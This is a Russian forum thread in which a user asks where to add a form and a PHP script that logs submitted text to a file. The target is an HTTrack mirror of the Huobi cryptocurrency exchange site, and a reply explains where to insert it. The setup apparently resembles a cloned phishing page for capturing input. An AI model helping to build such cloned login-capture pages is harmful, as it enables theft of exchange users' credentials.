26.08.2019 в 15:37, Антон Алексеев:

Не знаю куда вставить код

Нужно вставить этот код (внизу) в другой код (еще ниже)

<form method="post" action="rec.php">

<textarea rows="2" cols="20" name="1"> </textarea>

<input type="submit" value="Записать">

</form>

rec.php1

<?php

if ($_POST['1']);

$file=fopen('1.txt','a+');

fputs($file,$_POST['1']);

fclose($file);

echo 'форма';

?>

В этот

<html xmlns="http://www.w3.org/1999/xhtml" lang="en">

<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="description" content="HTTrack is an easy-to-use website mirror utility. It allows you to download a World Wide website from the Internet to a local directory,building recursively all structures, getting html, images, and other files from the server to your computer. Links are rebuiltrelatively so that you can freely browse to the local site (works with any browser). You can mirror several sites together so that you can jump from one toanother. You can, also, update an existing mirror site, or resume an interrupted download. The robot is fully configurable, with an integrated help" />
<meta name="keywords" content="httrack, HTTRACK, HTTrack, winhttrack, WINHTTRACK, WinHTTrack, offline browser, web mirror utility, aspirateur web, surf offline, web capture, www mirror utility, browse offline, local site builder, website mirroring, aspirateur www, internet grabber, capture de site web, internet tool, hors connexion, unix, dos, windows 95, windows 98, solaris, ibm580, AIX 4.0, HTS, HTGet, web aspirator, web aspirateur, libre, GPL, GNU, free software" />
<title>Local index - HTTrack Website Copier</title>
<!-- Mirror and index made by HTTrack Website Copier/3.49-2 [XR&CO'2014] -->
<style type="text/css">
<!--

body {
margin: 0; padding: 0; margin-bottom: 15px; margin-top: 8px;
background: #77b;
}
body, td {
font: 14px "Trebuchet MS", Verdana, Arial, Helvetica, sans-serif;
}

#subTitle {
background: #000; color: #fff; padding: 4px; font-weight: bold;
}

#siteNavigation a, #siteNavigation .current {
font-weight: bold; color: #448;
}
#siteNavigation a:link { text-decoration: none; }
#siteNavigation a:visited { text-decoration: none; }

#siteNavigation .current { background-color: #ccd; }

#siteNavigation a:hover { text-decoration: none; background-color: #fff; color: #000; }
#siteNavigation a:active { text-decoration: none; background-color: #ccc; }

a:link { text-decoration: underline; color: #00f; }
a:visited { text-decoration: underline; color: #000; }
a:hover { text-decoration: underline; color: #c00; }
a:active { text-decoration: underline; }

#pageContent {
clear: both;
border-bottom: 6px solid #000;
padding: 10px; padding-top: 20px;
line-height: 1.65em;
background-image: url(backblue.gif);
background-repeat: no-repeat;
background-position: top right;
}

#pageContent, #siteNavigation {
background-color: #ccd;
}

.imgLeft { float: left; margin-right: 10px; margin-bottom: 10px; }
.imgRight { float: right; margin-left: 10px; margin-bottom: 10px; }

hr { height: 1px; color: #000; background-color: #000; margin-bottom: 15px; }

h1 { margin: 0; font-weight: bold; font-size: 2em; }
h2 { margin: 0; font-weight: bold; font-size: 1.6em; }
h3 { margin: 0; font-weight: bold; font-size: 1.3em; }
h4 { margin: 0; font-weight: bold; font-size: 1.18em; }

.blak { background-color: #000; }
.hide { display: none; }
.tableWidth { min-width: 400px; }

.tblRegular { border-collapse: collapse; }
.tblRegular td { padding: 6px; background-image: url(fade.gif); border: 2px solid #99c; }
.tblHeaderColor, .tblHeaderColor td { background: #99c; }
.tblNoBorder td { border: 0; }

// -->
</style>

</head>

<table width="76%" border="0" align="center" cellspacing="0" cellpadding="3" class="tableWidth">
<tr>
<td id="subTitle">HTTrack Website Copier - Open Source offline browser</td>
</tr>
</table>
<table width="76%" border="0" align="center" cellspacing="0" cellpadding="0" class="tableWidth">
<tr class="blak">
<td>
<table width="100%" border="0" align="center" cellspacing="1" cellpadding="0">
<tr>
<td colspan="6">
<table width="100%" border="0" align="center" cellspacing="0" cellpadding="10">
<tr>
<td id="pageContent">
<!-- ==================== End prologue ==================== -->

<meta name="generator" content="HTTrack Website Copier/3.x">
<TITLE>Local index - HTTrack</TITLE>
</HEAD>
<BODY>
<H1 ALIGN=Center>Index of locally available sites:</H1>
<TABLE BORDER="0" WIDTH="100%" CELLSPACING="1" CELLPADDING="0">
<TR>
<TD BACKGROUND="fade.gif">
&middot;
<A HREF="www.huobi.co/ru-ru/index.html">
Самая безопасная платформа для торговли BTC, ETH, LTC | Huobi Global
</A>
</TD>
</TR>
</TABLE>


<H6 ALIGN="RIGHT">
<I>Mirror and index made by HTTrack Website Copier [XR&amp;CO'2008]</I>
</H6>
<!-- Mirror and index made by HTTrack Website Copier/3.49-2 [XR&CO'2014] -->
<!-- Thanks for using HTTrack Website Copier! -->
<meta HTTP-EQUIV="Refresh" CONTENT="0; URL=www.huobi.co/ru-ru/index.html">

<!-- ==================== Start epilogue ==================== -->
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>

<table width="76%" border="0" align="center" valign="bottom" cellspacing="0" cellpadding="0">
<tr>
<td id="footer"><small>&copy; 2008 Xavier Roche & other contributors - Web Design: Leto Kauler.</small></td>
</tr>
</table>

</body>

</html>

html помощь вставка кода

Ответы

Здравствуйте. В зависимости от дизайна.

А так, конечно можете вставить после открывающего тега <body>, чтобы убедиться что код отработал.

Вообще, вы вставляете форму на php, чтобы код отработал, как минимум должна быть его поддержка.

—  joey, 27.08.2019 в 11:23 ответить #

Добавить ответ